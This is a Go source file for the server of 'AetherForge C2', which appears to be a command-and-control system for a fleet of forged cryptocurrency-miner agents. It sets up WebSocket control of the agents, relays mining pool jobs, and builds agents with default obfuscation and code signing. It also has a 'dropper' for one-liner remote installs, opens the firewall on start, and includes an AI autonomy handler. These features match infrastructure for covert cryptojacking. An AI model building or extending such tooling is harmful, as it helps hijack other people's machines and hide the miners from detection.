Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
533 lines
17 KiB
Go
533 lines
17 KiB
Go
package main
|
||
|
||
import (
|
||
"crypto/rand"
|
||
"encoding/hex"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"net/http"
|
||
"os"
|
||
"path/filepath"
|
||
"time"
|
||
|
||
"crypto-miner-server/internal/alerts"
|
||
"crypto-miner-server/internal/api"
|
||
"crypto-miner-server/internal/builder"
|
||
"crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/maintenance"
|
||
"crypto-miner-server/internal/pool"
|
||
"crypto-miner-server/internal/sys"
|
||
)
|
||
|
||
type wsLogWriter struct {
|
||
hub *api.WSHub
|
||
}
|
||
|
||
func (w *wsLogWriter) Write(p []byte) (n int, err error) {
|
||
w.hub.BroadcastServerLog(string(p))
|
||
return len(p), nil
|
||
}
|
||
|
||
const aetherBanner = `
|
||
╔══════════════════════════════════════════════════════════════════╗
|
||
║ ║
|
||
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
|
||
║ · \ | / · ║
|
||
║ · \ | / · ▲▲▲ ║
|
||
║ · ○─────●─────○ · ▲▲▲▲▲ ║
|
||
║ · / | \ · ▲▲▲▲▲ ║
|
||
║ · / | \ · ████ ║
|
||
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
|
||
║ ○───────────○ ██ ██ ██ ║
|
||
║ / \ / \ ║
|
||
║ / ●───────● \ A E T H E R F O R G E ║
|
||
║ / / \ / \ \ ───────────────────────── ║
|
||
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
|
||
║ \ \ / \ / / ║
|
||
║ \ ●───────● / ║
|
||
║ \ / \ / ║
|
||
║ ○───────────○ ║
|
||
║ ✦ · · · · ◈ · · · · ✦ ║
|
||
║ ║
|
||
╚══════════════════════════════════════════════════════════════════╝`
|
||
|
||
func main() {
|
||
fmt.Println(aetherBanner)
|
||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||
log.Println("AetherForge C2 starting...")
|
||
|
||
// Load configuration
|
||
cfg := LoadConfig()
|
||
projectRoot := findProjectRoot()
|
||
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||
|
||
// Generate fleet secret once — persisted in config.json so all future forges
|
||
// carry the same secret and agents keep working across server restarts.
|
||
if cfg.Server.FleetSecret == "" {
|
||
b := make([]byte, 32)
|
||
if _, err := rand.Read(b); err != nil {
|
||
log.Fatalf("Failed to generate fleet secret: %v", err)
|
||
}
|
||
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
||
if err := cfg.Save(); err != nil {
|
||
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
|
||
} else {
|
||
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
|
||
}
|
||
} else {
|
||
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||
}
|
||
|
||
// Ensure data directories exist
|
||
dirs := []string{
|
||
cfg.DataDir,
|
||
filepath.Join(cfg.DataDir, "builds"),
|
||
filepath.Join(cfg.DataDir, "preps"),
|
||
filepath.Join(cfg.DataDir, "logs"),
|
||
}
|
||
for _, dir := range dirs {
|
||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||
log.Fatalf("Failed to create directory %s: %v", dir, err)
|
||
}
|
||
}
|
||
|
||
// Load dashboard auth early so credentials print before slow startup steps.
|
||
api.LoadUsers(cfg.DataDir)
|
||
|
||
// Initialize database
|
||
database, err := db.New(cfg.DataDir)
|
||
if err != nil {
|
||
log.Fatalf("Failed to initialize database: %v", err)
|
||
}
|
||
defer database.Close()
|
||
log.Println("Database initialized")
|
||
|
||
// Initialize AI autonomy handler (Ollama)
|
||
aiHandler := api.NewAIHandler(database)
|
||
log.Println("AI handler initialized")
|
||
|
||
// Initialize WebSocket hub
|
||
wsHub := api.NewWSHub(database)
|
||
wsHub.SetAIHandler(aiHandler)
|
||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||
api.SetAgentPathSecret(cfg.Server.FleetSecret)
|
||
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
||
wsHub.BroadcastAIActivity(entry)
|
||
})
|
||
|
||
// Stream all server logs to the dashboard Master Terminal
|
||
log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
|
||
log.Println("WebSocket hub initialized")
|
||
|
||
// Initialize builder handler
|
||
// The agent source is expected at ../agent relative to the server directory
|
||
agentSrcDir := findAgentSourceDir()
|
||
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
|
||
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||
|
||
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
|
||
api.SetRotateSecretFn(func() (string, error) {
|
||
b := make([]byte, 32)
|
||
if _, err := rand.Read(b); err != nil {
|
||
return "", err
|
||
}
|
||
newSecret := hex.EncodeToString(b)
|
||
cfg.Server.FleetSecret = newSecret
|
||
if err := cfg.Save(); err != nil {
|
||
return "", err
|
||
}
|
||
wsHub.SetFleetSecret(newSecret)
|
||
builderHandler.SetFleetSecret(newSecret)
|
||
api.SetAgentPathSecret(newSecret)
|
||
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
|
||
return newSecret, nil
|
||
})
|
||
|
||
defaultPoolCfg := pool.Config{
|
||
Host: cfg.Pool.Host,
|
||
Port: cfg.Pool.Port,
|
||
UseTLS: cfg.Pool.UseTLS,
|
||
Wallet: cfg.Wallet.Address,
|
||
Password: cfg.Pool.Password,
|
||
PaymentID: cfg.Wallet.PaymentID,
|
||
}
|
||
defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg)
|
||
|
||
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
|
||
poolManager := pool.NewManager(
|
||
func(job *pool.Job) {
|
||
log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height)
|
||
payload, _ := json.Marshal(job)
|
||
wsHub.BroadcastToAgents(api.Message{
|
||
Type: "new_job",
|
||
Payload: payload,
|
||
})
|
||
},
|
||
func(err error) {
|
||
log.Printf("[Pool] Error: %v", err)
|
||
},
|
||
)
|
||
wsHub.SetPoolManager(poolManager, defaultPoolCfg)
|
||
|
||
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
|
||
applyControlServerFirewall(cfg)
|
||
|
||
configProvider := &serverConfigProvider{
|
||
config: cfg,
|
||
onSaved: func(c *Config) {
|
||
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
|
||
},
|
||
}
|
||
configHandler := api.NewConfigHandler(configProvider)
|
||
log.Println("Config handler initialized")
|
||
|
||
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
|
||
defer maintenance.StopRetentionJobs()
|
||
|
||
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
|
||
go func() {
|
||
if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil {
|
||
log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err)
|
||
}
|
||
}()
|
||
|
||
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
|
||
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||
return alerts.Thresholds{
|
||
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
|
||
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
|
||
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
|
||
}
|
||
}, func() alerts.NotifyConfig {
|
||
// Read live from cfg so Calibrate changes take effect without restart.
|
||
return alerts.NotifyConfig{
|
||
TelegramBotToken: cfg.Alerts.TelegramBotToken,
|
||
TelegramChatID: cfg.Alerts.TelegramChatID,
|
||
EmailEnabled: cfg.Alerts.EmailEnabled,
|
||
SMTPHost: cfg.Alerts.SMTPHost,
|
||
SMTPPort: cfg.Alerts.SMTPPort,
|
||
SMTPUser: cfg.Alerts.SMTPUser,
|
||
SMTPPassword: cfg.Alerts.SMTPPassword,
|
||
EmailTo: cfg.Alerts.EmailTo,
|
||
EmailFrom: cfg.Alerts.EmailFrom,
|
||
}
|
||
}, func(ev alerts.AlertEvent) {
|
||
wsHub.BroadcastFleetAlert(ev)
|
||
})
|
||
alertEvaluator.Start(30 * time.Second)
|
||
log.Println("Fleet alert evaluator started")
|
||
|
||
// Pool status broadcast to dashboard
|
||
go func() {
|
||
ticker := time.NewTicker(15 * time.Second)
|
||
defer ticker.Stop()
|
||
for range ticker.C {
|
||
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
|
||
}
|
||
}()
|
||
|
||
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg)
|
||
|
||
// Initialize blueprint handler (config presets)
|
||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||
log.Println("Blueprint handler initialized")
|
||
|
||
// Initialize dropper handler (one-liner remote install)
|
||
dropperHandler := api.NewDropperHandler(database, func() string {
|
||
return configProvider.PublicURL()
|
||
})
|
||
|
||
// Find web root for frontend
|
||
webRoot := findWebRoot()
|
||
log.Printf("Web root: %s", webRoot)
|
||
|
||
// Initialize router
|
||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
|
||
return configProvider.PublicURL()
|
||
})
|
||
log.Println("Router initialized")
|
||
|
||
// Start server
|
||
addr := fmt.Sprintf(":%d", cfg.Port)
|
||
log.Printf("Server listening on %s", addr)
|
||
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
||
|
||
if err := http.ListenAndServe(addr, router); err != nil {
|
||
log.Fatalf("Server failed: %v", err)
|
||
}
|
||
}
|
||
|
||
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
|
||
out := make([]pool.Config, 0, len(eps))
|
||
for _, ep := range eps {
|
||
if ep.Host == "" || ep.Port <= 0 {
|
||
continue
|
||
}
|
||
out = append(out, pool.Config{
|
||
Host: ep.Host,
|
||
Port: ep.Port,
|
||
UseTLS: ep.UseTLS,
|
||
Wallet: cfg.Wallet.Address,
|
||
Password: cfg.Pool.Password,
|
||
PaymentID: cfg.Wallet.PaymentID,
|
||
})
|
||
}
|
||
return out
|
||
}
|
||
|
||
func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) {
|
||
if wsHub != nil {
|
||
wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds)
|
||
wsHub.SetServerPolicy(api.ServerPolicy{
|
||
MaxAgents: cfg.Server.MaxAgents,
|
||
LogAgentConnections: cfg.Server.LogAgentConnections,
|
||
LogShareSubmissions: cfg.Server.LogShareSubmissions,
|
||
LogPoolTraffic: cfg.Server.LogPoolTraffic,
|
||
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
||
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
||
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
|
||
})
|
||
}
|
||
if poolManager != nil {
|
||
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
|
||
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
|
||
}
|
||
if builderHandler != nil {
|
||
defaultObfuscate := cfg.Server.ObfuscateDefault
|
||
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
|
||
defaultObfuscate = true
|
||
}
|
||
builderHandler.SetBuildPolicy(builder.BuildPolicy{
|
||
StrictWalletValidation: cfg.Server.StrictWalletValidation,
|
||
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
|
||
DefaultObfuscate: defaultObfuscate,
|
||
Sign: builder.SignPolicy{
|
||
Enabled: cfg.Server.SignEnabled,
|
||
CertThumbprint: cfg.Server.SignCertThumbprint,
|
||
ToolPath: cfg.Server.SignToolPath,
|
||
TimestampURL: cfg.Server.SignTimestampURL,
|
||
},
|
||
})
|
||
}
|
||
applyControlServerFirewall(cfg)
|
||
}
|
||
|
||
func applyControlServerFirewall(cfg *Config) {
|
||
if cfg == nil || !cfg.Server.OpenFirewallOnStart {
|
||
return
|
||
}
|
||
port := cfg.Port
|
||
if port <= 0 {
|
||
port = 8989
|
||
}
|
||
if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil {
|
||
log.Printf("[firewall] %v", err)
|
||
}
|
||
}
|
||
|
||
// serverConfigProvider wraps the Config to implement api.ConfigProvider interface
|
||
type serverConfigProvider struct {
|
||
config *Config
|
||
onSaved func(*Config)
|
||
}
|
||
|
||
func (p *serverConfigProvider) PublicURL() string {
|
||
return p.config.Server.PublicURL
|
||
}
|
||
|
||
func (p *serverConfigProvider) GetConfigJSON() json.RawMessage {
|
||
data, _ := json.Marshal(p.config)
|
||
return data
|
||
}
|
||
|
||
func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
|
||
var incoming Config
|
||
if err := json.Unmarshal(data, &incoming); err != nil {
|
||
return fmt.Errorf("invalid config: %w", err)
|
||
}
|
||
|
||
// Semantic validation — reject values that would break the server at runtime.
|
||
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
|
||
return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
|
||
}
|
||
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
|
||
return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
|
||
}
|
||
if incoming.Server.MaxAgents < 0 {
|
||
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
|
||
}
|
||
if incoming.Server.StatsRetentionHours < 0 {
|
||
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
|
||
}
|
||
if incoming.Server.BuildRetentionDays < 0 {
|
||
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
|
||
}
|
||
if incoming.Server.MaxBuildSizeMB < 0 {
|
||
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
|
||
}
|
||
|
||
// Determine which top-level keys were explicitly present in the JSON payload.
|
||
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
||
// from the payload is treated as "not changed", not "set to false".
|
||
var presentKeys map[string]json.RawMessage
|
||
_ = json.Unmarshal(data, &presentKeys)
|
||
|
||
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||
|
||
// Save to disk
|
||
if err := p.config.Save(); err != nil {
|
||
return fmt.Errorf("failed to save config: %w", err)
|
||
}
|
||
|
||
if p.onSaved != nil {
|
||
p.onSaved(p.config)
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// findAgentSourceDir locates the agent source code directory
|
||
// It searches relative to the server binary location and the current working directory
|
||
func findAgentSourceDir() string {
|
||
projectRoot := findProjectRoot()
|
||
candidates := []string{
|
||
filepath.Join(projectRoot, "agent"),
|
||
"../agent",
|
||
"./agent",
|
||
}
|
||
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
candidates = append(candidates,
|
||
filepath.Join(cwd, "agent"),
|
||
filepath.Join(filepath.Dir(cwd), "agent"),
|
||
)
|
||
}
|
||
|
||
if exe, err := os.Executable(); err == nil {
|
||
exeDir := filepath.Dir(exe)
|
||
candidates = append(candidates,
|
||
filepath.Join(exeDir, "agent"),
|
||
filepath.Join(exeDir, "..", "agent"),
|
||
filepath.Join(exeDir, "..", "..", "agent"),
|
||
)
|
||
}
|
||
|
||
seen := map[string]bool{}
|
||
for _, candidate := range candidates {
|
||
absPath, err := filepath.Abs(candidate)
|
||
if err != nil || seen[absPath] {
|
||
continue
|
||
}
|
||
seen[absPath] = true
|
||
goModPath := filepath.Join(absPath, "go.mod")
|
||
if _, err := os.Stat(goModPath); err == nil {
|
||
return absPath
|
||
}
|
||
}
|
||
|
||
return filepath.Join(projectRoot, "agent")
|
||
}
|
||
|
||
// resolveDataDir pins relative data paths to the project root so builds always land in
|
||
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
||
func resolveDataDir(dataDir, projectRoot string) string {
|
||
if filepath.IsAbs(dataDir) {
|
||
return dataDir
|
||
}
|
||
if projectRoot != "" && projectRoot != "." {
|
||
return filepath.Join(projectRoot, dataDir)
|
||
}
|
||
abs, err := filepath.Abs(dataDir)
|
||
if err != nil {
|
||
return dataDir
|
||
}
|
||
return abs
|
||
}
|
||
|
||
func projectRootMarker(dir string) bool {
|
||
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
|
||
if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
func findProjectRoot() string {
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
if projectRootMarker(cwd) {
|
||
return cwd
|
||
}
|
||
parent := filepath.Dir(cwd)
|
||
if projectRootMarker(parent) {
|
||
return parent
|
||
}
|
||
}
|
||
if exe, err := os.Executable(); err == nil {
|
||
exeDir := filepath.Dir(exe)
|
||
candidates := []string{
|
||
exeDir,
|
||
filepath.Join(exeDir, ".."),
|
||
filepath.Join(exeDir, "..", ".."),
|
||
}
|
||
for _, candidate := range candidates {
|
||
if projectRootMarker(candidate) {
|
||
abs, _ := filepath.Abs(candidate)
|
||
return abs
|
||
}
|
||
}
|
||
}
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
return cwd
|
||
}
|
||
return "."
|
||
}
|
||
|
||
// findWebRoot locates the frontend build output directory
|
||
func findWebRoot() string {
|
||
candidates := []string{
|
||
"webroot", // Copied by devrun.bat
|
||
"web/dist", // Vite build output relative to server/
|
||
filepath.Join("..", "server", "web", "dist"), // Relative to project root
|
||
filepath.Join("server", "web", "dist"), // From project root
|
||
}
|
||
|
||
if cwd, err := os.Getwd(); err == nil {
|
||
candidates = append(candidates,
|
||
filepath.Join(cwd, "webroot"),
|
||
filepath.Join(cwd, "web", "dist"),
|
||
filepath.Join(filepath.Dir(cwd), "server", "webroot"),
|
||
filepath.Join(filepath.Dir(cwd), "server", "web", "dist"),
|
||
)
|
||
}
|
||
|
||
if exe, err := os.Executable(); err == nil {
|
||
exeDir := filepath.Dir(exe)
|
||
candidates = append(candidates,
|
||
filepath.Join(exeDir, "webroot"), // portable USB layout
|
||
filepath.Join(exeDir, "..", "webroot"),
|
||
filepath.Join(exeDir, "..", "web", "dist"),
|
||
filepath.Join(exeDir, "..", "..", "server", "webroot"),
|
||
filepath.Join(exeDir, "..", "..", "server", "web", "dist"),
|
||
)
|
||
}
|
||
|
||
for _, candidate := range candidates {
|
||
absPath, err := filepath.Abs(candidate)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
// Check if it has index.html
|
||
indexPath := filepath.Join(absPath, "index.html")
|
||
if _, err := os.Stat(indexPath); err == nil {
|
||
return absPath
|
||
}
|
||
}
|
||
|
||
return ""
|
||
}
|